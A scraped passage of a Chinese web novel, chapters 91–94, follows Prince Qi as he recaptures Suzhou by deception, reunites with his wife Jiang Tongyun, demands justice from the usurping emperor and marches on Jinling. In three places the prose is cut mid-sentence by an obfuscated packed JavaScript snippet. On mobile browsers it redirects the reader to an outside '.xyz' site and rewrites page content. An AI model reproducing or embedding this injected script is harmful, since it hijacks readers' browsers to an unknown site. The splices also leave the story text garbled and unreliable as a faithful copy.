现在有谢怀雵打头,以张英为代表的那批将领们当然也不肯再忍。 金陵不肯给钱给人那就不给吧!现在有齐王殿下出钱出力,谁还怕你断我粮草啊! 谢怀雵只笑了笑,没有接张英的话:“你们出来,颍州和濠州那边可都安排好了?” “殿下放心,都安排好了。”吴肃回道,“目前暂时由我们的副将负责守城。泗州那边也会帮我看顾一二的。” 谢怀雵当然不可能让他们俩把自己城里的人全部带出来。 这次两人各自带了五万人来跟谢怀雵汇合。这些人马是由附近几州守军共同凑出来的,等谢怀雵拿回宿州,还得把人都给送回去。 时间紧任务重,所以他才特意安排张英、吴肃两人在来的路上顺路拿回余下几处失地,同时还把控了两边进度,让他们追着晋军残部,在今天早上以相差无几的时间进入宿州城里。 为了保证两边同时失败的消息不被徐王瞒下,谢怀雵还特意叮嘱了要给他们多留一点人。 张英吴肃两人性情虽然不同,但能被邢国公举荐驻守前线,他俩都有一个非常明显的共同点:听指挥。 所以虽然不明白谢怀雵为什么要这么做,他俩也都尽职尽责地完成了任务。 “人马已经整备完毕。咱们现在可以开始进攻了。” 91. 战报 宿州城里。 连续守了三天,徐王觉得自己的精神已经快到极限了。 三天前,他刚收到自己两名部下带着残兵逃回来的消息不久,就又被负责观察情况的士兵告知,外头的越军就已经集结起来,同时包围了东、南、西三处城门。 谢怀雵的人来得又快又急,根本不给徐王反应机会。宿州城墙上才刚架起弓弩,第一波箭雨就已经射了进来。 猝不及防之下,刚上城墙、还没来得及支起盾牌的士兵就倒了一片。 就连站在城墙下的徐王自己,也被飞进来的流矢擦中胳膊,受了点轻伤。 最后还是靠着邢国公留下的坚固城墙,徐王的人才坚守过了第一天的密集进攻。 到了第二天早上,越军的攻势稍稍转弱。 但这种变化不是因为他们准备放弃,相反,之后越军就进入了持续攻坚的状态。 每天飞过来的箭雨和落石虽然不再迅猛密集,但隔三差五持续不断。疲于应对的晋军根本就没法空出手来修补破损的城墙。 更糟糕的是,随着施姚二人战败的消息开始在军中蔓延,发现己方已被敌军包围的情况后,晋军内部的士气一跌再跌。 尽管徐王已经想了各种方法,或威吓或利诱,但都无法扭转这一状况。 就像现在。 “怪不得姓苏的怂蛋也能当上将军,原来你们的统帅比他还不如!你们晋军就是一整窝的缩头乌龟!” 察觉到身旁士兵们都在暗中观察自己的反应,徐王心中的怒火就忍不住开始升腾。 从攻守双方陷入僵持开始,这个张英就天天带着人来骂街。 刚开始的时候,张英还只骂手下败将,把晋军人马战败后被他撵着跑的情形描绘得活灵活现。徐王虽然听着生气,但更多的还是气自己部下没用。 到了今天,张英已经开始骂徐王了。 徐王自诩涵养不错,但他到底是皇子出身,以前最多也就是被几个难搞的兄弟们阴阳怪气地刺上几句,还真没经历过这种粗鄙的骂架。 这一天下来,徐王心里不知道憋了多少的火气。 他只能反复告诉自己,他现在是在带兵打仗,要以大局为重。 徐王强行咽下了这口气。 看现在情况还不算危急,他打算先回住处稍微休息一下,以免长期疲劳的状态影响到他的判断能力。 谁料他才走出一步,一块巨大的石头就擦着他的头顶砸在了地上。 身旁的副将扑了上来,紧紧地护住徐王,同时大声嚷道:“敌袭!戒备!集结准备还击!” 然而城墙上的士兵们只是背靠在城墙上,举着盾牌护住自己的头顶,只有寥寥数人举起弓弩,尝试回击。 副将又气又急,正准备厉声呵斥一番,却被爬起的徐王拉住了。 徐王摇了摇头:“我军士气不足,即使强行命令他们也不会有太大效果。” 副将也知道这个道理,气得在心里直骂施、苏二人不顶事:“那我们应该怎么办?” 徐王想了想:“这样死守不是办法。我们的粮草储备也坚持不了那么久。” 宿州城里的人撤离时做得够绝,不仅没给他们留人,还把能带的东西全都带走了。余下带不走的,也叫最后留下的那些人一把火给烧完了,根本没给他们补充物资的机会。 “与其守在这里,不如找机会主动出击!” ***** 次日下午,张英照例上前骂阵。 只是这次,他才骂了几句,对面城墙上就直直飞出一箭。 张英胆子也是够大,站在原地不躲不闪。等到箭矢落地,他也丝毫不怵,亲自上前拔起羽箭,拿下了绑在箭身上的纸张。 “徐王终于忍不住了,要打开城门跟咱们面对面拼一拼!” 谢怀雵对徐王的这个决定丝毫不感到意外。 他也知道,要是跟对方耗时间,自己这边是没有优势的。所以才会故意设计让施、苏二人同时败入宿州,目的就是打击晋军士气,逼迫徐王不得不选择正面应战。 不过虽然他的计划已经完成了一半,但谢怀雵心里没有丝毫放松。 “不能掉以轻心。面对面地打,我们也没有占据绝对优势。” 谢怀雵这边人数是更多,三支队伍一合拢,组成了一支十七万人规模的军队,比徐王手上的人马还多了五万。 但这只是明面上摆给徐王看的。 张英和吴肃一路打来,收复失地之后也不能完全不留人驻守。这样分了几次,最后带到谢怀雵这里来的,拢共就只剩下七万左右。 普通士兵是还比晋军多了两万。可根据先前搜集到的战报来看,徐王手下那支五千人规模的骑兵如今全都在宿州城里。 谢怀雵手上,只有三千骑兵。 这三千,还都是邢国公留下的人。 这些年,邢国公在宿州训练了一支八千人的骑兵队伍。如果当时金陵支援及时,那靠着这支骑兵合邢国公的统帅对敌能力,完全可以弥补人数上的差距,击退徐王的人马。 但金陵迟缓的反应速度,导致这批精锐人马一直被困在宿州城里,没法发挥作用。 邢国公死后,宿州人心涣散。在虞新舟的指挥下,一半的骑兵被分出来,领着别地调来支援的人,在其余人的掩护下负责护送宿州百姓撤离。 留在宿州城里的人战至身亡,护送百姓的那些,也在晋军追击下折损了不少。 等谢怀雵到了寿州重新收拢人马,清点之后发现这支骑兵如今只余三千人左右了。 这次前来宿州,谢怀雵当然把他们全都带上了。 步兵多了两万多,骑兵却少了两千。 最终战况如何,就要看徐王愿不愿意按照谢怀雵的下一步计划走了。 ***** 正月初三。 洪州城内。 姜同云在噼里啪啦响个不停的鞭炮声里,读完了项承和将军派人给她送来的战报。 “腊月二十三,齐王率军围困宿州。” “腊月二十七,双方于宿州城西郊开战。是日,我军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15053911|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大破敌军,杀敌两万余。徐王带人突出重围。” “腊月二十九,徐王收拢残部六万余人,奔袭颍州。双方交战之时,颍州守将张英率军五万人自后发动突袭。晋军溃败!” 战报上不过寥寥数语,根本无法描述出当时的具体情况。但姜同云越读越觉得心潮澎湃,语调也逐渐变得激昂起来。 受到她的情绪感染,旁听的木樨和柳四娘也忍不住跟着鼓掌叫好。 只有看惯了大场面的邢国夫人,端着茶水仍是一派悠闲自得的模样。 等三个年轻姑娘冷静下来,老夫人才不紧不慢地问道:“既是大败敌军,可有抓到对方主帅?” 听到老师提问,姜同云连忙又拿起战报仔细地看了一遍:“……上面没说。” “那就是没有。”老夫人颇有些遗憾地叹了口气,“张英那个性格是莽撞了一点。没抓到人倒也不算奇怪。” 邢国夫人敢这样随意点评张英这种级别的将领,刚入学不久的兵法小白姜同云可不敢。 见老夫人是真的有些遗憾,姜同云笑着说道:“能拿回所有失地,还剿灭了敌军大部队,这已经是最好的新年贺礼了。” 听她这么说,老夫人终于露出了些许笑容来:“说得也是。” 见邢国夫人的笑容还是有些许难言的落寞,姜同云顿了顿,走到她的身边坐下:“老夫人,您是不是想去宿州城里看看?” 老夫人愣了一下。但她也没有否认姜同云的话:“如今宿州刚刚收复,齐王殿下应该还有许多事情要做。我不好在这个时候过去给他添麻烦。” 姜同云摇了摇头:“不麻烦的。我早就跟他说好了,等他拿回宿州以后,我就带着您一起北上。” “接下去,我们要面对的就是来自金陵的麻烦。继续留在洪州,只会让项将军陷入难处。所以我一早就打算好了要去寿州的。” 一来,寿州现在算是谢怀雵的大本营,待在那里,肯定比去别的地方要更加安全。 二来,姜同云如今已经揽下了统筹粮草的活。她选在这个时间点去寿州,也是想看看能不能离谢怀雵近一点,顺带可以试着接触一下有关筹备其他军需物资的工作。 虽然光是粮草还有拉投资这两项工作就已经够辛苦了,但姜同云还是想多了解一下别的方面。毕竟她已经打定主意要“夺权”了,现在正是学习的好机会。 听到姜同云说她本就计划好要去寿州,已经到嘴边的推拒话语又被邢国夫人咽了回去。 她也确实是想去宿州看一眼的。替她那如今还在婺州、没有下葬的丈夫。 发型老夫人没再立刻拒绝,姜同云抓紧机会趁热打铁:“我们可以先待在寿州,等宿州那边安顿好了再过去看看。” “而且我这回过去可是要在谢怀雵那里多捞点权的。我人生地不熟的,别人指不定要怎么看轻我呢。有您帮我镇场子,我才更有底气嘛!” 姜同云这一番连哄带撒娇的,邢国夫人还真就说不出来拒绝的话。 “好好好。那咱们就去寿州吧!” 92. 重逢 一月底,姜同云抵达寿州。 出于安全考虑,谢怀雵安排他们住进了官邸。 虽然日常出行相对会惹人注目一些,但顶着齐王妃的身份也能省去不少的麻烦。两相权衡,姜同云就也没有拒绝。 边境几城物资有限,还都要紧着战备用,官邸修得都不算大。好在姜同云这次过来也没带很多人,倒也不至于要大家挤着一起住。 先安顿好邢国夫人,又安排了一下整理收拾的活,姜同云这才有空回自己住的地方休息一会儿。 说是休息,姜同云的脑袋也一直没个空闲的机会。 先前她在洪州,虽然要隐瞒身份,不能直接跟那些出钱出力的富商们接触,但毕竟距离近,想要沟通一些事情也方便一些。 如今她到了寿州,隔着这老些距离,做什么事都不够方便。 等再过一阵子,老爷子在杭州那边有了进展,就要同时兼顾两头。 想到这些事情,姜同云就会分外怀念在现代社会打电话发消息视频会议的工作效率。 而且坐飞机高铁高铁也比坐马车乘船舒服高效啊! 打住打住。 姜同云揉了揉额角:还是多花点时间想想选谁去做杭州的负责人比较好。 她脱下腕上的镯子,正准备在镜子前坐下,突然被人从后面抱了个满怀。 姜同云吓了一跳,刚要开口喊人,鼻尖却嗅到了一股有些熟悉的味道。 果不其然,身后的人把头埋进她的颈窝,半是抱怨半是撒娇地叹了一声:“我好想你啊。” 姜同云心里一软,只是觉得有些不好意思,就轻轻推了他一把。还没来得及说话,又听他问道:“夫人有没有想我?” 当然是想的。 她一个人点着蜡烛对账本的时候、她拉完弓骑完马回来浑身酸痛的时候、还有她读项将军送过来的那些战报的时候。 尤其前阵子,洪州下了好几天的雪。即便睡前木樨用暖炉给她烘过被子,到了半夜总也会凉透。 她卷着不够温暖的被子,听屋里木炭烧的噼噼作响,听屋外夹着雪花的夜风呜咽,就会格外希望谢怀雵能陪在自己身边。 只是这样的想念,姜同云说不出口。 她在谢怀雵额头的位置拍了一下:“魂都要被你吓没了,还想你。快松手,你压得我肩膀疼。” 谢怀雵不语,抱着姜同云又蹭了两下,才依依不舍地放开了她。 “你不是应该还在宿州整备吗?怎么回寿州来了?” 谢怀雵挤到梳妆台前坐下,把姜同云揽到自己膝上:“那边大体上已经安稳下来了。我抽空回来见你一面,晚些时候还得回去。” 姜同云稍稍抬头。 谢怀雵瞧着倒是精神抖擞的,但细细去看,还是可以看出他眼下挂了两道淡淡的青黑。 姜同云心里软得一塌糊涂:“我又不会走丢。” 谢怀雵没有说话,但抱着姜同云的手下意识地收紧了一些。 他不敢向姜同云吐露自己心里的不安。 事实上,他早就发现了姜同云前段时间的不对劲,并通过抽丝剥茧的分析猜出了姜同云心里的想法。 但他什么都做不了。 抗击外敌、守卫家国是他应尽的职责。可谢怀雵也不想因为自己的职责,迫使姜同云走上一条她根本不愿去走的路。 他也不敢把这件事摊开来讲,生怕姜同云会直接提出让自己放她离开。 他只能假装什么都没有发现,怀揣着一份甚至会被他自己厌弃的卑鄙心思,小心翼翼地维持着姜同云之间的关系。 在接到姜同云说要来寿州的信件后,谢怀雵一度以为自己是在做梦。 所以他才会放下宿州的事情,快马加鞭疾驰到寿州,只为了亲眼看到姜同云,确认这不是他长期忧虑之后所产生的幻想。 直到亲手抱住姜同云,闻到她惯用的熏香味道,听到她的声音,谢怀雵的心才终于安定了下来。 之前发生了什么都已经不重要了。 她愿意来寿州、愿意继续帮自己就已经很好了。 姜同云不知道谢怀雵在想些什么。 见他一直看着自己发呆,姜同云脸上一热,又推了他一把:“你都来了,刚才怎么不出来招待一下老夫人。” 这样躲着也太失礼了。 谢怀雵回过神来,贴了贴姜同云的发顶,小声说道:“见了老夫人,难免要叙叙旧讨论下战局什么的。我跟那边说好,明早就会赶回去的。时间不多,我想多跟你待一会儿。” 他本以为这样能激起姜同云对自己的怜惜,谁知道姜同云听了他的话,嚯地站了起来:“那你今晚岂不是要连夜赶路?!” 谢怀雵没有反应过来,愣愣地“嗯”了一声。 看着他眼里的血丝,姜同云挑高了眉毛:“你不会昨晚也没睡,连夜骑马跑回寿州来的吧?” 谢怀雵这才意识到,情况似乎有些不对。 他最后试着挣扎了一下:“我这不是太想夫人了嘛……” 可惜,姜同云根本不给他争辩的机会,拉着他就往床上推:“你趁现在赶紧睡一会。” 谢怀雵不敢跟她推搡,只能老老实实地脱掉鞋子,躺到床上。 看他还睁着眼睛看着自己,姜同云直接扒拉下他的眼皮:“闭眼,睡觉!” 没法,谢怀雵只能闭上了眼睛,但同时也按住了姜同云的手,小声请求道:“你陪我一起睡会儿,好不好?” 看他乖巧地半仰着脸朝着自己的方向,姜同云也不忍心拒绝,蹬掉鞋子爬到床上。 她拉起被子盖住下巴:“行了,现在开始,谁都不许说话了。” ***** 晚上吃饭的时候,姜同云看着邢国夫人,磕磕绊绊地解释道:“他过来看看情况,刚刚才到的。” 邢国夫人哪能猜不到他们之间的这点事。不过她也知道姜同云脸皮薄,就没有调侃他俩,只笑着说了一句“殿下辛苦”。 谢怀雵倒是面不改色地应了。 姜同云看他这副理直气壮的模样,恼得偷偷在桌下踩了他一脚。 不过等邢国夫人和谢怀雵开始聊起当日战况,姜同云就顾不得生气了,竖起耳朵认真地听了起来。 战报上只用寥寥数语写了结果,但中间过程有多么艰难凶险, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15058553|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜同云是没法通过那些简短的文字看到的。 “我们在人数上并不具有压倒性的优势,用常规的方式对战,无论是攻城还是两军对垒,都要付出非常大的代价。”谢怀雵对面邢国夫人的时候,总有种当年对面邢国公考验的感觉,说出来的话都是斟酌过的,“所以我想试着诈一诈徐王。” 说起来,谢怀雵的方法也算不上多么精妙。 他先利用对面两名将领给宿州城里的晋军带去了战败的消息,成功动摇了对方军心,同时还给了徐王一个虚假信息——为了夺回宿州,他们不惜调走了颍州和濠州两城的全部兵力。 为了让这个假消息看起来更加可信,谢怀雵很早就联络了周围所有可能帮他的将领。借到足够的人马后,谢怀雵又化整为零,在不惊动晋军斥候的前提下,分批分次地把这么多人聚集到了颍州和濠州,交由张英和吴肃两人带领。 等到三方队伍汇合之后,谢怀雵又命人多垒了许多营灶,同时还利用日常训练等机会,充分向宿州城里的晋军展示了他们那支“十五万大军”。 很明显,有施姚二人的说法打底,徐王包括宿州城里的晋军,都对谢怀雵这边的人数深信不疑。 这又进一步加强了他们内部的恐慌情绪。 这种情况,迫使徐王放弃固守,正面应敌。 “我相信,最初下战书的时候,徐王还是抱着能正面打败我的想法的。”谢怀雵笑了笑,“所以我根本没有给他这个机会,在刚交战的时候就下令猛攻,直接打散了他们最后那点士气。” 第一波接触,自己这边就明显地落了下风。这个时候的徐王哪里还有心思去分辨谢怀雵的虚实? 再想到颍州和濠州的人马尽数出动,这两座城如今都处于守卫空虚的状态,徐王当即决定,放弃宿州,去拿颍州或者濠州。 于是他下令晋军,分散突围。 但他不知道,这道命令才是接下去悲剧的开始。 “徐王的人一散开就好对付了。我们很快就把落在后面的队伍彻底冲散,把将近一半的人都留了下来。” 等徐王带着好不容易收拢起来的六万余残部,带着满腔复仇的怒火直奔颍州,遇到的就是一座早已整备完毕,迎接到来的坚固堡垒。 颍州城里留了四万人,张英又带了五万人回去。头尾并击之下,徐王的人很快就溃不成军了。 “唯一可惜的是,当时突围,徐王收下的骑兵折损并不算多。所以颍州一战,尽管我方在人数和时机都占据了优势,但徐王还是在那些骑兵们的掩护下逃掉了。”说到这里,谢怀雵也颇有些遗憾地叹了口气,“要是当时我在颍州就好了。” 虽说邢国公不是直接死于徐王之手,但到底与他脱不了干系。就算不能杀了徐王,能把他抓回来,也算多了一道和晋朝皇帝谈判的筹码。 当日邢国夫人听完战报,也遗憾于这点。但今天当着谢怀雵的面,老夫人只是笑着摇了摇头:“时局如此,殿下不必自责。能拿回宿州、稳定边境,才是最要紧的。” “如今虽然击退了晋军,但这还只是一个开始。” “殿下可想好了接下去要如何应对金陵了?” 93. 条件 “齐王殿下英勇退敌,保家卫国,收复失地,有殿下这样的将才,实乃我大越之幸啊!” 谢怀雵看着面前堆着谄媚笑脸拼命夸奖自己的人,思绪又飘回到了前几天在寿州的时候。 当时他是怎么回答邢国夫人的? 晚辈必定会还邢国公和所有枉死之人一个公道。 而现在,就是讨公道的时候了。 谢怀雵放下茶杯,瓷质的杯底在实木桌面上敲出了一声脆响,成功让对面喋喋不休的人住了嘴。 “这位……戚大人,对吗?”谢怀雵似笑非笑地看向这位代表谢怀晟而来的新任兵部尚书。 “对,对对。”戚成只觉得谢怀雵的眼神跟刀子似的,割得他头皮凉飕飕的,“殿下客气了,叫下官戚成就行。” 谢怀雵抬了抬嘴角:“戚大人不必自谦。您是一部尚书,三品大员,担得起本王这一声‘大人’。梁国公曾说过,既同朝为官,谈论公事时就当以官职互称,本王深以为然。” 要不是他现在在谢怀雵的地盘上,戚成听到这些话,高低要跳起来骂人。 梁国公那是什么人?他有底气受你齐王一声“邓大人”,我可没有!再说了,你谢怀雵要是真想跟我以官职互称,现在就不会一口一个“本王”了! 戚成在心里把谢怀雵骂了好几个来回,脸上却丝毫不敢显露出来一点,还得搜肠刮肚地从本就没什么墨水的脑袋里挤出两个好词来捧对方:“殿下真是……高风亮节,高风亮节。” 见谢怀雵又重新端起了茶盏,戚成试探着道:“陛下深感齐王殿下为国尽忠之心。这次下官前来,除了犒赏三军之外,还奉了陛下旨意,加赏齐王殿下。” 说着,他掏出放在袖子里的单子,对着念了起来。 谢怀雵已是亲王之位,封无可封,加赏也只能加点食邑。谢怀晟又加了些别的金银珠宝,好歹算是凑出了一张单子来。 只是…… 加的三百户食邑都是边远贫瘠之地就算了,后面凑出来的金银珠宝也是按件报的,听起来就寒酸地很。 谢怀雵听得直想发笑:谢怀晟挤出这三百户食邑,恐怕都心疼地好几晚没睡好了吧。 屋子里别的将官们也从那些零零散散的金银里听出了不对,面色古怪地盯着戚成瞧。 念清单的戚成被看得冷汗直冒,恨不得当场找个地缝钻进去。 好不容易念完了单子,戚成擦了一把鬓角的汗水,偷摸抬头看了谢怀雵一眼。 见他脸上还带着笑,不像是动怒的样子,戚成才敢接着说下面的内容:“陛下体恤齐王殿下辛苦,特意命下官带了亲王规制的仪仗队伍来,让下官护送殿下荣归婺州。” 这下,屋里的将官们哪还听不出来,金陵这是要卸磨杀驴了! 可不等他们发作,谢怀雵先扣了扣桌面:“可以。” 听到谢怀雵应允,戚成大喜过望,连忙道:“事不宜迟,还请齐王殿下——” 谢怀雵笑着抬起手:“且慢。要本王卸下军职返回婺州容易,只要赵王答应我两个条件。” 听到谢怀雵叫“赵王”,戚成心里就是一咯噔,直觉他后面提出的条件不会太妙。 果不其然,谢怀雵脸上笑得云淡风轻,说出的话却让戚成恨不得直接厥过去:“邢国公恪尽职守、鞠躬尽瘁。此等忠臣良将,死后却没能得到公正的对待,实在是让边境将士们寒心。所以第一,我要赵王承认自己的过错,恢复邢国公的声名,还邢国公府一个公道,并将邢国公的遗骨迎回金陵,风光大葬。” 不等戚成做出反应,谢怀雵又伸出了第二根手指:“第二,依照我朝律法,谋逆重罪,当由三司会审,昭告天下。当初赵王以谋逆之罪,将以吴王和梁国公为首的诸多皇子公主、朝廷重臣直接处死,不合于法。我要赵王汇集三司,重审此案,明发其罪。” 两道炸雷炸得戚成两眼发黑。 这是要求吗?这分明是要戚成的命啊! 戚成都不用考虑谢怀晟会不会答应,只要他敢转述这些话,谢怀晟就能直接拔剑砍了他! 要说第一个条件还只是把谢怀晟的脸皮扯下来扔在地上踩,第二个条件那就是直接在质疑谢怀晟继位地合法性了! 谢怀晟不查,就是他心虚;可要是真查,照样会把这件本就是好不容易才压下去的事情翻回到明面上来。 谢怀晟能用军队压住朝臣们的反对声音,却不能用军队压下天下人的质疑声。 谢怀雵能提出这样两个要求,说明他根本就没打算接受谢怀晟的加赏,老老实实卸甲归田。 想起谢怀晟拔剑刺死梁国公的情形,戚成打个哆嗦,硬着头皮想跟谢怀雵讨价还价一下。 可他一跟已经完全收敛笑容的谢怀雵对上视线,就被他眼底惊人的寒意吓得直接往后退了一步。 是啊,他怎么就给忘了! 谢怀晟是会直接拔剑杀人,可面前的这位齐王,杀过的人只会比谢怀晟更多! 更别说,这里还有这么多谢怀雵的人…… 戚成战战兢兢地环顾一周,绝望地发现屋里已经有不少将官原本配在腰间的刀剑握到了手上。 这下,他彻底不敢说话了,只能在心里狂骂到底是谁把这样一个难搞的差事推到他头上的。 早知道会有今天,他当初说什么也不会做这个兵部尚书! 见戚成脸色青白、不敢开口,谢怀雵重新露出了笑容:“既然戚大人没有意见,那就劳烦您替本王把这两个小小的条件转告赵王吧。” ***** 且不说戚成是怎么抱着赴死的心回到金陵、怎么跟谢怀晟转述了谢怀雵的条件、最后又是怎么在暴怒的谢怀晟手里逃过一劫,只看谢怀晟直接宣布谢怀雵有意谋反,下令召集越朝各地将领共同诛杀此贼,就知道谢怀雵提出的条件有多么戳他的肺管子了。 只是不管谢怀晟有多么生气,都无法再扭转局势了。 戚成前脚进了金陵,谢怀雵后脚就宣布,谢怀晟得位不正,先有弑父杀兄、滥杀朝臣之罪;后又有贻误战机、不战而降之嫌。谢怀雵作为谢氏宗亲不能置之不理,所以他要带兵入金陵,为枉死之人讨个公道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061133|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢怀雵的动作比谢怀晟更快。而且弑父上位这种消息,总比谋反更具冲击性。再加上谢怀雵刚刚击退了晋军,如今声望正高,这样的话由他说出来,即使没有实证,也难免让人偏信几分。 谢怀晟在皇城里等着别人对谢怀雵群起而攻之,可他等到的却是越朝四处都掀起了对于他上位之路的质疑声。 更让他骇然的是,越朝各地的驻军将领,全都无视了他发出的旨意,不仅没有人前去讨伐谢怀雵,甚至他们还任由谢怀雵带兵直逼金陵。 谢怀晟这才意识到,如今的他已经无法让指令传出金陵之外了。 金陵皇宫,紫宸殿。 广宁伯孙添和孙潜一道,越过跪伏在殿外、浑身颤抖的宫侍们,悄无声息地进入了昏暗的大殿之内。 孙贤妃正站在门口。 看见他俩来,孙贤妃一把拉住了他们的胳膊,哭着道:“大哥、二哥,你们快去劝劝陛下吧!” 看着自己妹妹哭得满脸狼狈的模样,孙潜又是烦躁又是无奈。 如今形势已经完全倒向齐王那边。要不是被血缘关系绊住逃脱不掉,孙潜根本就不想管谢怀晟这档子事。 孙添没发现弟弟的焦躁,低声安抚了孙贤妃几句,随后率先入内殿。 孙潜也只能硬着头皮跟上去。 内殿光亮的地砖上如今满是污渍。 拖出的血痕混着浑浊的水迹,空气中弥漫着浓郁的酒味。 谢怀晟靠坐在台阶上,一手握着还沾着血的剑,一手提着酒壶往自己嘴里灌着。 见到他俩来,谢怀晟随手把酒壶往地上一掷,醉醺醺地问道:“你们是来告诉我,谢怀雵现在已经到金陵城外了吗?” 孙潜的眉头皱了起来。 孙添也有些恨铁不成钢,但到底忍住了,温声劝慰道:“陛下何故说这样的丧气话呢?” “是我要丧气的吗?”谢怀晟举起剑,剑尖对准孙添,“我下令要那些驻军将领讨伐谢怀雵,有几个动了?谢怀雵带兵直逼金陵,他们连拦都不拦一下!他们谁把我当陛下看了?!我看他们都巴不得直接打开城门迎接谢怀雵!” 孙添压下剑尖,耐着性子继续哄道:“他们哪里敢做这种事情。那天下人谁不清楚,只有您才是真正的大越之主。那些将领都是墙头草,如今看谢怀雵声势浩大,不敢得罪与他。可谢怀雵就是他们十个胆子,他们也不敢跟着谢怀雵一起造反啊。” 谢怀晟盯着孙添,没有反驳。 见他没有抬杠,孙添直觉有戏:“臣接到线报,那谢怀雵也是托大,只带了两万人马就敢南下。咱们光在京郊就有五万人马,只要谢怀雵敢来,定能叫他有来无回!” “当真?!” “自然是真的。两万对五万,他谢怀雵纵是将星转世,也奈何我们不得。” “等我们杀了谢怀雵,别的什么小鱼小虾,哪里还能再掀出风浪来呢!” 听到这里,谢怀晟终于一扫颓废,重新打起精神来:“好!快把京郊驻军的将领召来!朕要好好跟他商量一下对敌事宜!” 94. 金陵 与此同时。 姜同云也在跟谢怀雵讨论双方人数差距的事情。 “我知道,你把大部分人留在宿州,是为了继续防备晋军。”姜同云骑在马背上,遥遥望向前方,“可我们现在只有两万人,金陵却有五万驻军,人数差距实在是太大了。” “是啊。”看自家夫人眉头紧锁,谢怀雵就忍不住想逗一逗她。 他似真似假地叹道:“滁州那位刺史大人骂我骂得这么凶,我还以为他会跟我打上一场呢。打了滁州,咱们至少还能再多个几千人吧。” 听到谢怀雵提起滁州的事来,姜同云也是忍不住笑了:“我先前还一直担心,真要跟滁州打起来了该怎么办呢。” 虽然谢怀雵很早就宣布要带兵入金陵查清吴王等人谋逆一案的真相,但他并没有马上采取行动,而是等这件事在全国各地都掀起舆论之后,才开始带人南下。 他们这一路走得算是相当顺畅。 最开始的濠州和泗州早就倒向了谢怀雵,所以当谢怀雵的队伍经过这两州的地界时,当地都是直接打开城门放他们同行的。 有濠州和泗州带头,后面的州府自然也完全没有反抗。就算不敢明着支持谢怀雵,也没人为难他们,顶多就是关了城门,不让他们从大路上走。 直到他们走到滁州地界上。 滁州那位老刺史今年五十八岁。听说他年轻时也是颇有才气,三十来岁就中了进士,入朝为官。只是此后仕途一直不顺,外放后就一直在地方打转。如今他的这个刺史之位还是几年前,大行皇帝偶然想起他后特意提拔的。 也许是感觉自己受了大行皇帝的赏识,所以这位刺史大人说什么也要维护大行皇帝一脉的正统性。 是,赵王即位过程确实疑点重重,但他毕竟是先帝子嗣。即使要质疑赵王即位的合法性,也应依据大越礼制,召集宗亲朝臣共同商议。 你谢怀雵一个旁支宗室,带兵直逼金陵,难道不是欲行不轨吗? 靠着这套逻辑,滁州刺史第一个站出来响应谢怀晟的指令,不仅下令闭锁滁州城门严阵以待,还亲自写了一篇檄文痛骂谢怀雵。 但……他的响应也就到此为止了。 毕竟是个文人,打嘴仗是他的拿手好戏,可真要他一个快六十的人领兵阻击谢怀雵,那可真是太为难老人家了。 所以别看滁州刺史在谢怀雵来之前骂得很凶,但真等他们队伍路过滁州的时候,两边居然都默契地保持了沉默。 这虎头蛇尾的结局,还真让提心吊胆、以为自己要亲身经历第一场对战的姜同云有些哭笑不得。 看到姜同云心情变好,谢怀雵才开始认真地跟她分析情况。 “这次出来,我把邢国公麾下的三千骑兵全都带上了。” 这三千人全是精锐中的精锐。当日与徐王正面交战时,全靠他们顶住对面五千人规模的骑兵,在第一轮短兵交接的时候撕开一道口子,彻底击溃了晋军的信心。 除非谢怀晟下令把京郊的五万人马全部缩进金陵城里固守,否则一旦正面相争,过惯了好日子的金陵驻军绝对不是他们的对手。 “我特意只带了两万人,除了要留人防守宿州以外,也是想要速战速决。” 晋军虽然被打退,但当时并没有抓住徐王,多少也是留下了隐患。如果越朝内部陷入持续的内乱,北边一定不会放过这么好的机会。 两万人,数量是少了一点,但行军速度可以大幅提高。而且只带两万人来可以有效降低谢怀晟的警惕心,诱使他下令让金陵驻军正面应战。 姜同云好歹也跟着邢国夫人学了好些时日,谢怀雵只简单一提,她很快就想通了其中关窍。 只是…… “你就这么有信心,可以以少胜多?” 三月的暖风迎面拂来,吹得鲜红的旗帜和披风猎猎作响。 谢怀雵回望一眼身后的队伍,笑着说道:“当然。” ***** 真的亲眼见证两军相冲的画面时,姜同云的脑袋里根本就想不起别的事情来。 就像是一场异常宏大的舞台剧拉开了帘幕,整个世界的灯光一齐熄灭,只剩远处厮杀震天的战场被打上了几束追光。 作为看客,姜同云只能扶着身旁的树干避免自己因为过于紧张而腿软摔倒,同时双眼紧紧追随着策马冲在最前方的那道身影。 是的,谢怀雵并没有像对方主将一样坐镇后方,而是直接下场,带领骑兵冲锋陷阵。 鲜亮的战袍成了最显眼的旗帜。 